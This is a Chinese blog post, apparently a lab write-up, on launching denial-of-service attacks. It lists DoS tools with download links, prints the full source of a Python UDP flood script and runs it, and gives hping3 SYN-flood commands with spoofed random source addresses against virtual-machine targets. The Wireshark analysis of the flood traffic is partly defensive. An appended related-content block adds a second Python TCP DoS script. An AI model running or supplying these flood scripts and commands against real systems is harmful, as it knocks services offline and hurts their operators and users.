简单的DOS攻击

工具选择

1.LOIC

LOTC 是一个最受欢迎的 DOS 攻击工具。 这个工具被去年流行的黑客集团匿名者用于对许多大公司的网络攻击。它可以通过使用单个用户执行 DOS 攻击小型服务器,工具非常易于使用,即便你是一个初学者。 这个工具执行 DOS 攻击通过发送 UDP,TCP 或 HTTP 请求到受害者服务器。 你只需要知道服务器的 IP 地址或 URL,其他的就交给这个工具吧。

下载卢瓦 LOIC: http://sourceforge.net/projects/loic/

失败:

Win2003环境下无法打开,需要.net frame

2.XOIC

XOIC 是另一个不错的 DOS 攻击工具。它根据用户选择的端口与协议执行 DOS 攻击任何服务器。XOIC 开发者还声称 XOIC 比上面的 LOIC 在很多方面更强大呢。

一般来说,该工具有三种攻击模式,第一个被称为测试模式,是非常基本的; 第二个是正常的 DOS 攻击模式; 最后一个是带有 HTTP / TCP / UDP / ICMP 消息的 DOS 攻击模式,。

对付小型网站来说,这是一个很有效的 DDOS 工具。 但是从来没有尝试的要小心点,你可能最终会撞自己的网站的服务器。

下载 XOIC: http://sourceforge.net/projects/xoic/

失败

3.DDOSIM-Layer

DDOSIM 是另一种流行的 DOS 攻击工具。 顾名思义,它是通过模拟控制几个僵尸主机执行 DDOS 攻击。所有僵尸主机创建完整的 TCP 连接到目标服务器。

这个工具是用 c++写的,并且在 Linux 系统上运行。

这些是 DDOSIM 的主要特点:

模拟几个僵尸攻击

随机的 IP 地址

TCP-connection-based 攻击

应用程序层 DDOS 攻击

HTTP DDos 等有效的请求

与无效请求 HTTP DDoS(类似于直流+ +攻击)

SMTP DDoS

TCP 洪水连接随机端口

在这里下载 DDOSIM: http://sourceforge.net/projects/ddosim/

失败:

Github上也有很多人出现了和我一样的问题,暂时没找到解决办法。

4.PyLoris

据说 PyLoris 是服务器的测试工具。它也可以用来执行 DOS 攻击。 这个工具可以利用 SOCKS 代理和 SSL 连接服务器上执行 DOS 攻击。它可以针对各种协议,包括 HTTP、FTP、SMTP、IMAP,Telnet。不像其他传统 DOS 攻击工具一样,其最新版本的软件添加了一个简单易用的 GUI。

下载 PyLoris: http://sourceforge.net/projects/pyloris/

失败

5.黄金眼(GoldenEye )HTTP 拒绝服务工具

黄金眼也是一个简单但有效的 DOS 攻击工具。 这是在 Python 测试开发的 DOS 攻击,但是人们也把它当做一种黑客工具了。

下载: http://packetstormsecurity.com/files/120966/GoldenEye-HTTP-Denial-Of-Service-Tool.html

失败

6.hammer

最后在github找到了一个由python编写的DOS攻击工具。

hammer下载

image-20220302180041585

该工具很简单,在Ubuntu上可运行。

输入python3 hammer.py可得到帮助:

image-20220302180054938

在终端下输入:python3 hammer.py -s ip地址 -p 端口地址(默认80) -t turbo数量即可

DDOS攻击前的虚拟机WIN2003的状态:

image-20220302180111635

输入python3 hammer.py -s 192.168.182.132 -p 135 -t 300后:

image-20220302180122460

image-20220302180135192

可以看出CPU使用率与网络流量有明显影响。

7.kali 进行dos攻击

7.1.py脚本攻击

  • Github上克隆https://github.com/Ha3MrX/DDos-Attack

image-20220305141128462

  • py脚本源代码
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############

os.system("clear")
os.system("figlet DDos Attack")
print
print "Author   : HA-MRX"
print "You Tube : https://www.youtube.com/c/HA-MRX"
print "github   : https://github.com/Ha3MrX"
print "Facebook : https://www.facebook.com/muhamad.jabar222"
print
ip = raw_input("IP Target : ")
port = input("Port       : ")

os.system("clear")
os.system("figlet Attack Starting")
print "[                    ] 0% "
time.sleep(5)
print "[=====               ] 25%"
time.sleep(5)
print "[==========          ] 50%"
time.sleep(5)
print "[===============     ] 75%"
time.sleep(5)
print "[====================] 100%"
time.sleep(3)
sent = 0
while True:
     sock.sendto(bytes, (ip,port))
     sent = sent + 1
     port = port + 1
     print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
     if port == 65534:
       port = 1

从源代码可以看出,该脚本是通过不停的向目标IP地址发送UDP数据。

  • 进入对应目录,并给文件授权

cd DDos-Attack

image-20220305141221326

chmod +x ddos-attack.py

  • 运行python脚本

python2 ddos-attack.py

需要注意的是,该脚本由python2.x编写,需要使用python2来运行脚本

image-20220305142913087

输入IP地址和端口即开始进行攻击

image-20220305143053305

image-20220305143150398

image-20220305143205287

中间之所以出现了停止攻击,是因为大量的发送请求,导致kali攻击端也出现了卡顿。

7.2.Hping3攻击

hping 是用于生成和解析 TCP/IP 协议数据包的开源工具,创作者是Salvatore Sanfilippo,目前最新版是hping3,Kali Linux已内置该工具。

hping 是安全审计、防火墙压力测试等工作的标配工具,可以对防火墙进行拒绝服务攻击,它可以对目标机发起大量 SYN Flood、smurf Flood、teardrop、land attack 等 Dos 攻击。它的攻击过程为:

  1. 你使用hping3执行拒绝服务攻击(即DoS);
  2. 你隐藏你的a$$(我是指你的源头IP地址);
  3. 你的目标机器看到的将是随机性源头IP地址中的源头,而不是你的IP地址(IP伪装)
  4. 你的目标机器会在5分钟里面不堪重负,停止响应。
7.2.1.Hping3指令

输入hping3 -h获取帮助:

image-20220305144444834

-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
--icmp-ipproto 设置协议的,缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
7.2.2.Flood攻击

输入命令hping3 -S --flood -V 192.168.182.132:

其中

-S:表示设置SYN标志

–flood:表示尽可能发送数据包,并且不会显示回复

-V:表示使用冗长模式

image-20220305150011487

image-20220305150142484

按Ctrl+C中止发送

image-20220305150215905

发送了4568984个包

使用主机ping靶机

image-20220305150359765

image-20220305150410834

可以明显看出,靶机受到了影响。

7.2.3.攻击分析

因为kali虚拟机大量发送请求导致严重卡死,使用主机的wireshark软件对网络信息进行分析。

  • SYN Flood

因为该攻击为SYN Flood攻击,会大量发送SYN包,使用tcp.flags==0x02进行过滤

image-20220305151957812

正常流量

image-20220305152110997

Flood攻击

可以发现在正常运行的机器中,273s仅仅有13122个SYN包,而靶机在14s内收到40W+个SYN包。

image-20220305152843104

左图为正常机器,右图为靶机。可以明显看到靶机所接收到的包长度基本为40-79。

7.2.4.DDos攻击

hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source 192.168.182.129

  • --rand-source:随机源地址

  • -c(count):发送的数据包数量

  • -d(datasize):发送的数据包大小

  • -S(SYN):SYN数据包

  • -w:表示TCP窗口大小

image-20220306145216295

7.2.5.攻击分析
  • 通过wireshark的统计功能->Endpoints进行分析:

image-20220306145749787

每个地址发送的数据包数量和数据包大小相同

  • 通过观察攻击数据包,可以发现它们的TTL值均相同:

image-20220306151300244

  • 3
    点赞
  • 73
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DOS攻击(拒绝服务攻击)是一种攻击方式,旨在通过占用目标系统资源,使其无法正常响应合法用户的请求。DOS攻击可以通过多种方式实现,其中一种方法是使用Python编写攻击代码。 Python是一种高级编程语言,简单易用,常用于网络编程和安全领域。使用Python实现DOS攻击,通常会使用一些第三方库或模块来发送大量的请求,以耗尽目标系统的资源。 以下是一个示例的Python代码,可用于实现简单的基于TCPDOS攻击。 ```python import socket def dos_attack(target_ip, target_port, num_requests): # 创建一个TCP套接字 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接到目标IP和端口 sock.connect((target_ip, target_port)) # 发送大量请求 for _ in range(num_requests): sock.send(b'GET / HTTP/1.1\r\nHost: ' + target_ip.encode() + b'\r\n\r\n') # 关闭套接字 sock.close() if __name__ == '__main__': # 设置目标IP和端口以及请求数量 target_ip = '192.168.0.1' target_port = 80 num_requests = 1000 # 开始攻击 dos_attack(target_ip, target_port, num_requests) ``` 上述代码创建了一个TCP套接字,并连接到目标IP和端口。然后,通过循环发送大量的GET请求,占用目标系统的资源。在正常情况下,目标系统可能无法处理如此多的请求,导致无法正常响应合法用户。 需要注意的是,DOS攻击是非法行为,严格禁止在未经授权的情况下对他人的系统进行攻击。这个示例代码仅用于说明Python可以用于实现DOS攻击,不鼓励任何非法行为。网络安全是大家的责任,应该合法使用技术来保护网络安全

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值